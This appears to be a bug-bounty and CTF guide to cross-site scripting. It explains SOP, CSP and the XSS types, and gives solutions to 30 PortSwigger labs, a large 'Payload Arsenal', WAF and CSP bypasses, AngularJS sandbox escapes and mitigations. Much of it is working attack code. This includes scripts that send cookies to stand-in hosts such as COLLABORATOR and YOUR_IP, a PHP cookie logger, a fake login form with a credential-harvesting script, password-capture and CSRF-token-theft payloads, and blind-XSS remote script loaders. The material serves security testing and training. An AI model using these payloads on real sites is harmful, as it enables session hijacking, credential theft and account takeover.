# 🕷️ All About XSS

{% hint style="danger" %}
This covers XSS from fundamentals to advanced exploitation structured for bug bounty engagements and CTFs. The Payload Arsenal section is designed for quick reference during live testing.
{% endhint %}

### What is XSS?

XSS (Cross-Site Scripting) is a web vulnerability that occurs when user input is not properly validated or sanitized, allowing attackers to inject malicious JavaScript into a webpage. The injected script runs in the victim's browser as if it belongs to the trusted website.

As a result, the attacker can:

* Execute actions on behalf of the victim
* Access sensitive data visible in the browser
* Abuse the trust enforced by the Same-Origin Policy

> **Note:** XSS can be injected into any input in the HTML page not just input fields. Also targets HTTP headers like `Cookie`, `User-Agent`, and `Referer` when their values are displayed on the page.

***

### Prerequisites  Concepts to Know First

#### Same-Origin Policy (SOP)

SOP is a browser security mechanism that prevents scripts on one origin from accessing data on another origin.

An **origin** is defined by three things:

| Component | Example       |
| --------- | ------------- |
| Protocol  | `https`       |
| Hostname  | `example.com` |
| Port      | `443`         |

Two pages are the same origin only if all three match. `https://example.com` and `http://example.com` are **different origins** (different protocol).

**Example:** A malicious ad embedded on a page cannot read cookies or manipulate functionality of a bank page on a different origin.

**Why XSS bypasses SOP:** XSS makes the malicious script run *inside* the trusted site's origin. The browser sees it as legitimate code from that origin, so SOP doesn't protect against it. The attacker's script uses the victim's session cookies, so the server believes requests are coming from the victim themselves.

***

#### Content Security Policy (CSP)

CSP is an HTTP response header that tells the browser which sources of content are trusted. It's a defense-in-depth layer against XSS.

**Example header:**

```
Content-Security-Policy: default-src 'self'; script-src 'nonce-abc123' https://trusted.cdn.com
```

**What CSP can block:**

* Inline scripts: `<script>alert(1)</script>`
* Inline event handlers: `onerror="alert(1)"`
* `javascript:` URIs in `href`
* Scripts from non-whitelisted external domains
* `eval()`, `Function()`, `setTimeout(string)`  if `unsafe-eval` is not permitted

**Common misconfigurations that weaken CSP:**

* Using `unsafe-inline`  allows all inline scripts
* Using `unsafe-eval`  allows `eval()` and `Function()`
* Wildcards: `script-src *`  allows any domain
* JSONP endpoints on whitelisted domains  can be abused to execute arbitrary JS

***

### Types of XSS

| Type          | Persistence    | How It Executes                                            | Who Is Affected               |
| ------------- | -------------- | ---------------------------------------------------------- | ----------------------------- |
| **Stored**    | Saved in DB    | Server returns the stored payload                          | Every user who loads the page |
| **Reflected** | Not stored     | Server reflects input in the response                      | Only the targeted user        |
| **DOM-Based** | Not stored     | Pure client-side JS never touches the server               | Only the targeted user        |
| **Blind**     | Usually stored | Fires on a page the attacker can't see (admin panel, etc.) | Admin / internal users        |

***

#### **Reflected XSS**

Input from the HTTP request is embedded directly into the response without being stored or sanitized.

**Common injection points:** Search boxes, error messages, URL parameters, login forms.

**Delivery:** Attacker crafts a malicious URL and tricks the victim into clicking it. Only affects that session.

**How the attack flows:**

```html
Attacker crafts URL → Victim clicks → Server reflects payload → Browser executes
```

**Basic test:**

```javascript
http://l1nuxkid.dev/index.php?id=<script>alert(window.origin)</script>
```

Here payload is `<script>alert(window.origin)</script>`

***

#### **Stored XSS**

Payload is saved to the back-end database and executed every time the infected page loads for every user.

**Why it's critical:** Affects all visitors, not just a targeted individual. The payload may persist until manually removed from the database.

**Common injection points:** Comment sections, posts, user profiles, support tickets, product reviews, usernames.

**Basic test:**

```html
<script>alert(window.origin)</script>
<script>print()</script>
<script>alert(document.cookie)</script>
```

***

#### DOM-Based XSS

Payload never reaches the server. JavaScript reads user input directly from the DOM (URL, hash, referrer) and writes it back to the page unsafely.

**Key indicator:** No HTTP request fires when the payload executes check the Network tab in DevTools.

**How the attack flows:**

```
User input (URL/hash) → JS reads it (Source) → JS writes to DOM (Sink) → Browser executes
```

**Sources Where Input Comes From**

```javascript
location.search        // ?q=userInput
location.hash          // #fragment
document.referrer      // the referring page URL
window.name            // can be set cross-origin
localStorage / sessionStorage
document.cookie
```

**Sinks Where Input Gets Written (dangerous if unsanitized)**

```javascript
document.write()
element.innerHTML
element.outerHTML
document.createElement() + append
eval()
setTimeout(string)
setInterval(string)
```

**`innerHTML` Bypass**

`innerHTML` blocks `<script>` tags as a security feature. Use image/SVG event payloads instead:

```html
<img src="" onerror=alert(window.origin)>
<img src=x onerror=alert(1)>
```

***

#### Blind XSS

Payload executes on a page the attacker has no visibility into  such as an admin dashboard, support ticket viewer, or back-office log viewer.

**Common injection points:** Contact forms, reviews, user details, support tickets, `User-Agent` header.

**Challenge:** You can't see the output, so you need an out-of-band callback to confirm execution.

**Detection Strategy => Name the Script After the Field**

Host a JS file on your server and name each request after the field being tested. When your server receives a hit, you know which field is vulnerable:

```html
<script src="http://YOUR_IP/username"></script>
<script src="http://YOUR_IP/email"></script>
<script src="http://YOUR_IP/comment"></script>
<script src="http://YOUR_IP/user-agent"></script>
```

Start a listener:

```bash
nc -nvlp 8080
```

**Blind XSS Payloads**

```html
<script src=http://YOUR_IP></script>
'><script src=http://YOUR_IP></script>
"><script src=http://YOUR_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://YOUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//YOUR_IP");a.send();</script>
<script>$.getScript("http://YOUR_IP")</script>
"><script src="https://js.rip/ATTACKER.DOMAIN"></script>
"><script src=//YOUR_IP/</script>
```

***

### How XSS Occurs Root Causes

**Insufficient input validation and sanitisation** Web applications accept user data (forms, URL params, headers) and embed it into dynamic HTML pages without sanitizing it first.

```html
<!-- User input -->
<script>alert('XSS')</script>

<!-- Should be encoded to -->
&lt;script&gt;alert('XSS')&lt;/script&gt;
```

**Lack of output encoding** Failing to encode characters like `<`, `>`, `"`, `'`, and `&` into their HTML equivalents before rendering them in the page. For JavaScript, failing to escape `'`, `"`, and `\`.

**Improper use of security headers** Misconfigured CSP (e.g., allowing `unsafe-inline` or `unsafe-eval`) gives attackers room to run their payloads.

**Framework and language vulnerabilities** Older frameworks didn't auto-escape output. Some have unpatched XSS issues in specific components.

**Third-party libraries** Integrating third-party JS libraries can introduce XSS even when the core application is clean.

### Attack Techniques

#### Session Hijacking

Steal the victim's session cookie and replay it to log in as them no password needed.

**Step 1  `script.js` (hosted on your server):**

```javascript
new Image().src='http://YOUR_IP:8080/index.php?c='+document.cookie;
```

**Step 2  Inject the script loader:**

```html
"><script src=http://YOUR_IP:8080/script.js></script>
```

**Step 3  `index.php` to capture cookies:**

```php
<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>
```

**Fetch-based (no server needed — use a collaborator):**

```html
<script>fetch('https://COLLABORATOR.oastify.com?cookie='+document.cookie)</script>

<script>
fetch('https://COLLABORATOR.oastify.com', {
  method: 'POST',
  mode: 'no-cors',
  body: document.cookie
});
</script>

<script>
fetch('https://COLLABORATOR.oastify.com?c=' + encodeURIComponent(document.cookie))
</script>
```

***

#### Phishing / Login Form Injection

Inject a fake login form into the trusted page to steal credentials.

**Step 1  HTML form:**

```html
<h3>Please login to continue</h3>
<form action=http://YOUR_IP>
    <input type="username" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" name="submit" value="Login">
</form>
```

**Step 2  Inject via `document.write()`:**

```javascript
document.write('<h3>Please login to continue</h3><form action=http://YOUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');
```

**Step 3  With original form removal:**

```
'><script>document.write('<h3>Please login to continue</h3><form action=http://YOUR_IP:80><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();</script><!--
```

**Step 4  `creds.php` (capture + redirect to real site):**

```php
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
    header("Location: http://TARGET_SITE/index.php");
    fclose($file);
    exit();
}
?>
```

***

#### Password Capture

Inject a fake password field. When a password manager autofills or the user types, the value is exfiltrated silently.

```html
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://COLLABORATOR.oastify.com',{
  method:'POST',
  mode: 'no-cors',
  body:username.value+':'+this.value
});">
```

> **Pre-auth vs Post-auth XSS:**
>
> * Pre-auth XSS (before login) → steal passwords, more dangerous
> * Post-auth XSS (after login) → steal session cookies

***

#### CSRF via XSS

Bypass CSRF tokens by using XSS to silently fetch the token and perform a state-changing action as the victim.

```html
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get', '/my-account', true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=attacker@evil.com');
};
</script>
```

***

### XSS in Special Contexts

#### Inside a JavaScript String

```javascript
// Single quote context — break out
l1nuxkid'; alert()//
admin'-alert(1)-'
admin'||alert(1)||'

// Single quotes escaped but backslash is not — escape the backslash
\'-alert(1)//
\';alert(1);//

// Template literal / backtick context
${alert()}
${alert(1)}
```

#### Inside an HTML Attribute (angle brackets encoded)

```html
a" onfocus="alert()" autofocus="alert(1)">
l1nuxkid" onmouseover="print()">
```

#### Inside an `href` or `src` Attribute

```
javascript:alert()
javascript:alert(1)
```

#### Inside `onclick` (single quotes AND backslash escaped — use HTML entities)

```
http://foo?&apos;-alert(1)-&apos;
```

#### Breaking Out of Wrapping Tags

```html
<!-- textarea -->
randomdata</textarea><img src=x onerror=alert()>
</textarea><script>print()</script>

<!-- title tag -->
l1nuxkid</title><script>alert()</script>

<!-- style tag -->
</style><script>alert()</script>

<!-- JS string injection -->
l1nuxkid';print()//
```

#### XSS in HTTP Headers

These are valuable when the header value is logged and displayed to admins:

```
User-Agent: <script>alert('XSS')</script>
Referer: <script>alert('XSS')</script>
Cookie: <script>alert('XSS')</script>
```

#### XSS in APIs — Content-Type Mismatch

If the server responds with `Content-Type: text/html` but sends a JSON body, the browser renders it as HTML:

```
GET /check.php?username=<img src=x onerror=print()>
```

The correct response should be `application/json`. If it's `text/html`, XSS is possible.

#### Markdown XSS

```markdown
[XSS](javascript:prompt(document.cookie))
[XSS](javascript:alert``)
![Escape SRC - onerror]("onerror="alert('ImageOnError'))
```

Reference: [Markdown XSS Payloads](https://raw.githubusercontent.com/cujanovic/Markdown-XSS-Payloads/refs/heads/master/Markdown-XSS-Payloads.txt)

#### SVG-Based XSS

```html
<svg/onload=alert(document.domain)>
<svg><animatetransform onbegin=alert(1) attributeName=transform>
<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a></svg>
```

***

### WAF Bypass Techniques

#### Tag Obfuscation

```html
<ScripT>print()</ScripT>
<scr<script>ipt>alert(1)</scr</script>ipt>
<<a|ascript>alert('xss');</script>
<scrip>popup(document.cookies)</s>
```

#### Mixed Case

```html
<ScripT>alert(1)</ScripT>
<iMg SrC=x oNeRrOr=alert(1)>
```

#### Comment Insertion

```html
alert/**/(document.domain)
<svg/onload=alert/**/(document.domain)>
```

#### HTML Entity Encoding (inside attribute context)

```html
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)">click</a>
```

#### Null Bytes and Tab Characters

```html
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
```

#### Brute-Force Allowed Tags — Burp Intruder Method

1. Inject `<§§>` and use Intruder with the PortSwigger tag list
2. Filter responses that don't say "Tag Not Allowed" note which tags pass
3. On the allowed tag, brute-force event handlers the same way
4. Combine: `<allowedTag allowedEvent=alert(1)>`

***

### CSP Bypass

<figure><img src="/files/YOr5ybmwIuczGvcpoidm" alt=""><figcaption></figcaption></figure>

#### CSP URI Scheme Bypass

Paste CSP here: <https://cspbypass.com/>

```js
<script src=data:text/javascript,alert(81337)></script>
<script src=data:text/javascript,alert(81337)></script>
```

#### CSP Injection via Reflected Parameter

If a parameter is reflected into the CSP header itself:

```
<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'
```

#### Dangling Markup Attack (Strict CSP  no script execution)

Used to exfiltrate tokens/data when you can't execute JS:

```javascript
location = 'https://TARGET.net/my-account?email=hacker@evil.net%22%3E%3Cbutton%20class=%22button%22%20type=%22submit%22%3EClick%20me%3C/button%3E%3Cbase%20target=%22';
```

#### JSONP Abuse

JSONP stands for JSON with Padding. It is an older technique used in website to get data from a different domain before modern solutions like CORS became common.&#x20;

When you reuqest JSONP req you include callback function

If a whitelisted domain has a JSONP endpoint, call it with a callback:

```javascript
<script src="https://whitelisted.com/jsonp?callback=alert(1)//"></script>

<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1)"></script>

<script/src="https://www.youtube.com/oembed?callback=alert(1)"></script>
<script src="https://www.youtube.com/oembed?callback=alert(1)"></script>
```

#### **CSP Upload Bypass**

When `script-src 'self'` is set, you can **only load scripts from the same origin**. If we have The upload feature then we may creates a bypass because:

1. **You upload a file** that contains JavaScript but disguises it as an image (`.png.js`)
2. **The file is stored on the same domain** (`https://xyz.ctfhub.io`)
3. **You reference it via `<script src>`** - browser sees it's from same origin, CSP allows it
4. **The JavaScript executes** despite the fake `.png` extension

Practical Scenario from [hackinghub](https://app.hackinghub.io/) lab:

```http
Content-Security-Policy: script-src 'self'
```

Only scripts from same origin are allowed. No inline scripts, no external domains.

<figure><img src="/files/GOyvWALKBsMMcCoJ4B15" alt=""><figcaption></figcaption></figure>

We can load the js files from same origin, we have upload feature let's upload a random image

<figure><img src="/files/mYUueGFTOuEy14pQJObQ" alt=""><figcaption></figcaption></figure>

Add the `.js` at the end of the file

```http
Content-Disposition: form-data; name="file"; filename="offsec.png.js"
```

* Remove the content of the image and add payload

```javascript
alert()
print()
print()//
document.cookie()
```

<figure><img src="/files/lGYWFfgRoiZ25Sv8GnZp" alt=""><figcaption></figcaption></figure>

* Now we can load the file as we able load the file from SAME ORIGIN

```js
<script/src="https://56afhqt003x1.ctfhub.io/csp-upload/uploads/2c11f77f6a2ccf7a1ca17bc0125a31f8.js"</script>

<script src="https://56afhqt003x1.ctfhub.io/csp-upload/uploads/2c11f77f6a2ccf7a1ca17bc0125a31f8.js"</script>
```

<figure><img src="/files/ZGDT6v4ihrrpLriyHMJo" alt=""><figcaption></figcaption></figure>

Learned this from NAHAMSEC, LABS ON [HACKINGHUB](https://hackinghub.io/)

***

### AngularJS XSS

**How to identify:** Look for `ng-app` attribute in page source, or search for `ng-` prefixes.

AngularJS processes expressions inside `{{ }}` in elements with `ng-app`. If user input reaches these expressions, it's template injection.

#### Template Injection Confirmation

```
{{2*10}}
{{10+10}}
```

#### Sandbox Escape (with strings)

```
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
```

#### Sandbox Escape (without strings)

```
/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
```

#### Sandbox Escape with CSP

```
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>#x
```

Full URL delivery:

```
?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x
```

***

### Tools

| Tool               | Type               | Purpose                                             |
| ------------------ | ------------------ | --------------------------------------------------- |
| **Burp Suite Pro** | Commercial         | Intercept, scan, Intruder fuzzing, Collaborator OOB |
| **Nessus**         | Commercial         | Automated vulnerability scanning                    |
| **OWASP ZAP**      | Free / Open Source | Web app scanner, active/passive scanning            |
| **XSStrike**       | Open Source        | Smart XSS fuzzer with DOM analysis                  |
| **BruteXSS**       | Open Source        | XSS brute-forcer across parameters                  |
| **XSSer**          | Open Source        | Automated XSS injection framework                   |

**Install open-source tools:**

```bash
git clone https://github.com/s0md3v/XSStrike
git clone https://github.com/rajeshmajumdar/BruteXSS
git clone https://github.com/epsylon/xsser
```

**Out-of-band / Collaborator services:**

* Burp Collaborator (built into Burp Pro)
* [interactsh](https://github.com/projectdiscovery/interactsh) — open source OOB interaction server
* `nc -nvlp 8080` — quick local listener

***

### PortSwigger Labs Solved

#### Lab 1  Reflected XSS into HTML context (nothing encoded)

```html
<script>alert(window.origin)</script>
```

#### Lab 2  Stored XSS into HTML context (nothing encoded)

Inject in comment field:

```html
<script>print()</script>
```

#### Lab 3 DOM XSS in `document.write` sink using `location.search`

```html
"><img src=l1nuxkid onerror=alert()>
```

#### Lab 4 DOM XSS in `innerHTML` sink using `location.search`

`innerHTML` blocks `<script>`  use onerror:

```html
<img src=x onerror=alert(1)>
aaaa<img src=x onerror=alert()>
```

#### Lab 5  DOM XSS in jQuery `href` attribute sink

In the `returnPath` parameter:

```
javascript:alert(1)
```

#### Lab 6 DOM XSS in jQuery selector via hashchange event

Deliver via iframe to the admin:

```html
<iframe src="https://TARGET.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
```

#### Lab 7  Reflected XSS into attribute (angle brackets encoded)

Break out of the attribute value:

```javascript
a" onfocus="alert()" autofocus="alert(1)">
l1nuxkid" onmouseover="print()">
```

#### Lab 8 Stored XSS into `href` attribute (double quotes encoded)

In the website field:

```javascript
javascript:alert()
```

#### Lab 9 Reflected XSS into JavaScript string (angle brackets encoded)

```javascript
l1nuxkid'; alert()//
admin'-alert(1)-'
admin'||alert(1)||'
```

#### Lab 10 DOM XSS in `document.write` inside a `<select>` element

Append `&storeId=<img src=x onerror=alert(1)>` to the URL:

```html
<svg onload=alert(1)>
"><script>alert(1)</script>
```

#### Lab 11 DOM XSS in AngularJS expression (angle brackets + quotes encoded)

```
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
```

#### Lab 12  Reflected DOM XSS (eval-based)

Server uses `eval()` on response  escape the JSON context:

```
\"-alert(1)}//
\"}; alert(1); //
```

#### Lab 13  Stored DOM XSS (`replace()` only replaces first occurrence)

The filter only escapes the first `<` and `>`. Add a sacrificial pair first:

```html
<><img src=1 onerror=alert(1)>
```

#### Lab 14 Reflected XSS with most tags/attributes blocked

1. Brute-force allowed tags via Intruder → `<body>` allowed
2. Brute-force event handlers on `<body>` → `onresize` allowed
3. Deliver via iframe that triggers resize:

```html
<iframe src="https://TARGET.net/?search=%3Cbody+onresize%3D%22alert%28%29%22%3E>" onload=this.style.width='100px'>
```

#### Lab 15 All tags blocked except custom ones

```html
<xss autofocus tabindex=1 onfocus=alert(document.cookie)></xss>
```

Deliver:

```javascript
location = 'https://TARGET.net/?search=%3Cxss+autofocus+tabindex%3D1+onfocus%3Dalert%28document.cookie%29%3E%3C%2Fxss%3E'
```

#### Lab 16  Reflected XSS with some SVG markup allowed

```html
<svg><animatetransform onbegin=alert(1) attributeName=transform>
```

#### Lab 17  Reflected XSS in canonical link tag

```
?accesskey='x'onclick='alert(1)
```

#### Lab 18  Reflected XSS in JS string (single quote + backslash escaped)

Browser parses HTML before JS — close the script block entirely:

```
aa</script><script>alert(0)</script>
```

#### Lab 19 Reflected XSS in JS string (angle brackets + double quotes encoded, single quotes escaped)

Backslash is not escaped by the server escape it yourself to neutralize the quote escape:

```
\'-alert(1)//
\';alert(1);//
```

#### Lab 20 Stored XSS into `onclick` (single quotes + backslash escaped)

Use HTML entity encoding to bypass:

```html
http://foo?&apos;-alert(1)-&apos;
```

#### Lab 21 Reflected XSS into template literal (all quotes + backticks escaped)

Template literals evaluate `${}`  no quotes needed:

```html
${alert(1)}
```

#### Lab 22 Exploiting XSS to steal cookies

```html
<script>
fetch('https://COLLABORATOR.oastify.com?c=' + encodeURIComponent(document.cookie))
</script>
```

#### Lab 23 Exploiting XSS to capture passwords

```html
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://COLLABORATOR.oastify.com',{
  method:'POST',
  mode: 'no-cors',
  body:username.value+':'+this.value
});">
```

#### Lab 24 Exploiting XSS to bypass CSRF

```html
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
```

#### Lab 25 Reflected XSS with AngularJS sandbox escape (no strings)

```
/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
```

#### Lab 26 Reflected XSS with AngularJS sandbox escape + CSP

```
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>#x
```

#### Lab 27 Reflected XSS with event handlers and `href` blocked

Use SVG `<animate>` to dynamically set `href`:

```html
<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a></svg>
```

#### Lab 28 Reflected XSS in a JavaScript URL (some chars blocked)

```
'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'
```

#### Lab 29 Reflected XSS protected by strict CSP (dangling markup attack)

```javascript
location = 'https://TARGET.net/my-account?email=hacker@evil-user.net%22%3E%3Cbutton%20class=%22button%22%20type=%22submit%22%3EClick%20me%3C/button%3E%3Cbase%20target=%22';
```

#### Lab 30 Reflected XSS protected by CSP (CSP injection via parameter)

```
<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'
```

***

### Payload Arsenal

> Quick-reference during engagements. Replace `COLLABORATOR` with your actual OOB URL.

***

#### Core / First Try

```html
<script>alert(1)</script>
<script>alert(window.origin)</script>
<script>print()</script>
<script>prompt()</script>
<script>alert(document.cookie)</script>
```

***

#### Image-Based (No `<script>` Tag)

```html
<img src=x onerror=alert(1)>
<img src=x onerror=alert(window.origin)>
<img src=x onerror=alert("HELLO")>
<img src="" onerror=alert(window.origin)>
<img src=1 onerror=alert(1)>
<img src=l1nuxkid onmouseover=document.write(1)>
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
```

***

#### SVG

```html
<svg/onload=alert(1)>
<svg/onload=alert(document.domain)>
<svg/onload=alert/**/(document.domain)>
<svg><animatetransform onbegin=alert(1) attributeName=transform>
<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click</text></a></svg>
```

***

#### Event Handler Injections

```html
<u/onmouseover=print();//>text
<h1/onmouseover=print();//>text
somedata" onmouseover=alert(1);//
a" onfocus="alert()" autofocus="alert(1)">
<a href=x onfocus=print() autofocus=print()>
<body onresize="print()">
<body onbeforeprint=console.log(1)>
<xss autofocus tabindex=1 onfocus=alert(document.cookie)></xss>
<l1nuxkid id=x tabindex=1 onfocus=alert(document.cookie)>
```

***

#### Iframe

```html
<iframe src=javascript:alert()>
<iframe/src=javascript:alert();//>
<iframe onload="print()"></iframe>
<iframe src="https://TARGET/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
```

***

#### Anchor / JavaScript URI

```html
<a href=javascript:alert()>CLICK_ME</a>
<a href=javascript:alert(2)>click_me</a>
<a/href=javascript:alert(2)>click_me
```

***

#### Object Tag

```html
<object data="data:text/html,<script>alert(1)</script>"></object>
```

***

#### JavaScript String Context

```javascript
'-alert(document.domain)-'
`-alert(document.domain)-`
'-alert(1)-'
l1nuxkid'; alert()//
admin'-alert(1)-'
admin'||alert(1)||'
\'-alert(1)//
\';alert(1);//
${alert(1)}
```

***

#### Attribute Injection

```html
"><u>test123</u>
"><u>test123<script>alert()</script>
"><script>alert()</script>
</div><img src=x onerror="alert()">
```

***

#### Tag Escape

```html
<!-- textarea -->
randomdata</textarea><img src=x onerror=alert()>
</textarea><script>print()</script>

<!-- title -->
l1nuxkid</title><script>alert()</script>

<!-- style -->
</style><script>alert()</script>

<!-- JS string -->
l1nuxkid';print()//
```

***

#### WAF Bypass / Obfuscation

```html
<ScripT>print()</ScripT>
<ScripT>alert(1)</ScripT>
<script>prompt()</script>
<scr<script>ipt>print()</scr</script>ipt>
<scr<script>ipt>alert(1)</scr</script>ipt>
<<a|ascript>alert('xss');</script>
<scrip>popup(document.cookies)</s>
alert/**/(document.domain)
```

***

#### Cookie Exfiltration

```html
<script>fetch('https://COLLABORATOR?cookie='+document.cookie)</script>
<script>fetch('https://COLLABORATOR?c=' + encodeURIComponent(document.cookie))</script>
<script>new Image().src='https://COLLABORATOR?c='+document.cookie</script>

<script>
fetch('https://COLLABORATOR', {
  method: 'POST',
  mode: 'no-cors',
  body: document.cookie
});
</script>
```

***

#### Stored XSS → Cookie Theft via Admin Bot

See writeup: [ez-bounty CTF 2026](https://l1nuxkid.gitbook.io/l1nuxkid-docs/ctftime.org-writeups/ez-bounty-k-nd4sus-ctf-2026)

***

#### DOM Manipulation — Defacement / PoC

```html
<!-- Background -->
<script>document.body.style.background = "#141d2b"</script>
<script>document.body.style.background = "black"</script>
<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>

<!-- Title -->
<script>document.title = 'Pwned'</script>

<!-- Element text -->
<script>document.getElementById("todo").innerHTML = "pwned"</script>

<!-- Full body takeover -->
<script>document.getElementsByTagName('body')[0].innerHTML = '<center><h1 style="color: white">XSS PoC</h1></center>'</script>
```

***

#### Markdown XSS

```markdown
[XSS](javascript:prompt(document.cookie))
[XSS](javascript:alert``)
![Escape SRC - onerror]("onerror="alert('ImageOnError'))
```

***

#### URL-Encoded / Misc

```
%3Ca+href%3D%22%01java%03script%3Aconfirm%28document.domain%29%22%3EClick+to+execute%3Ca%3E%0D%0A
```

***

### Impact of XSS

| Impact                 | Description                                                           |
| ---------------------- | --------------------------------------------------------------------- |
| **Session Hijacking**  | Steal session cookies and impersonate the victim                      |
| **Credential Theft**   | Inject fake login prompts to capture plaintext passwords              |
| **CSRF Bypass**        | XSS can extract CSRF tokens, enabling unauthorized actions            |
| **Social Engineering** | Create legitimate-looking alerts or prompts within the trusted site   |
| **Content Defacement** | Alter page content to damage brand reputation                         |
| **Data Exfiltration**  | Access and send any data visible in the browser (PII, financial info) |
| **Malware Delivery**   | Launch drive-by download attacks from the trusted domain              |
| **Account Takeover**   | Full ATO if session or credentials are stolen                         |

***

### Mitigations

#### Input Validation

* Validate and sanitize all user input on the server side
* Use allowlists for expected input formats (email, phone, etc.)
* Never trust client-side validation alone

#### Output Encoding

* HTML-encode output rendered in HTML context: `<` → `&lt;`, `>` → `&gt;`, `"` → `&quot;`
* JavaScript-encode output rendered inside `<script>` or event handlers
* URL-encode output used in `href` or `src` attributes
* Use context-aware encoding libraries, not manual string replacement

#### Content Security Policy (CSP)

* Define a strict CSP: `script-src 'nonce-{random}' 'strict-dynamic'`
* Avoid `unsafe-inline` and `unsafe-eval`
* Use nonces or hashes for legitimate inline scripts

#### HttpOnly & Secure Cookie Flags

* `HttpOnly`  prevents JavaScript from accessing cookies via `document.cookie`
* `Secure`  ensures cookies are only sent over HTTPS

#### Use Modern Frameworks

* React, Vue, Angular automatically escape output by default
* Avoid `dangerouslySetInnerHTML` (React) and `v-html` (Vue) unless absolutely necessary and sanitized

#### Sanitisation Libraries

* Use DOMPurify for client-side HTML sanitization when rich HTML input is required
* Server-side: use framework-provided escaping (e.g., `htmlspecialchars()` in PHP)

***

### References

| Resource                       | Link                                                                                            |
| ------------------------------ | ----------------------------------------------------------------------------------------------- |
| XSS Payload List               | <https://github.com/payload-box/xss-payload-list>                                               |
| PayloadsAllTheThings XSS       | <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection>               |
| OWASP XSS Filter Evasion       | <https://cheatsheetseries.owasp.org/cheatsheets/XSS\\_Filter\\_Evasion\\_Cheat\\_Sheet.html>    |
| PortSwigger XSS Cheatsheet     | <https://portswigger.net/web-security/cross-site-scripting/cheat-sheet>                         |
| Markdown XSS Payloads          | <https://github.com/cujanovic/Markdown-XSS-Payloads>                                            |
| Markdown XSS Reference         | <https://github.com/jakob-pennington/information-security/blob/master/Payloads/md/XSS.md>       |
| Cookie Sandwich Attack         | <https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique> |
| Cookie Prefix Bypass           | <https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes>   |
| NahamCon Cookie Counterfeiting | <https://www.nahamcon.com/nahamcon2025/v/cookie-counterfeiting>                                 |
| HTB Web Attacks Module         | <https://academy.hackthebox.com/app/module/235>                                                 |
| HTB XSS Module                 | <https://academy.hackthebox.com/app/module/48>                                                  |
| snoopbees Cookie Sandwich      | <http://blog.snoopbees.com/http-cookie-sandwich-attack-6ba8110e0e02>                            |

#### Videos

| Title                        | Link                                          |
| ---------------------------- | --------------------------------------------- |
| XSS Deep Dive                | <https://www.youtube.com/watch?v=OQPTJam4kio> |
| DOM XSS Explained            | <https://youtu.be/eWD4LH5W2Es>                |
| XSS in the Wild              | <https://youtu.be/sWF6\\_JImhzg>              |
| Advanced XSS                 | <https://youtu.be/ojiOCfg-FXU>                |
| XSS for Bug Bounty           | <https://youtu.be/JgiX3kyK8ME>                |
| XSS CTF Techniques           | <https://youtu.be/FTeE3OrTNoA>                |
| Bug Bounty XSS Part 8 (Live) | <https://www.youtube.com/live/5RSW\\_VMIJUc>  |
| XSS Masterclass              | <https://www.youtube.com/watch?v=mOmvEyEI1jY> |

***

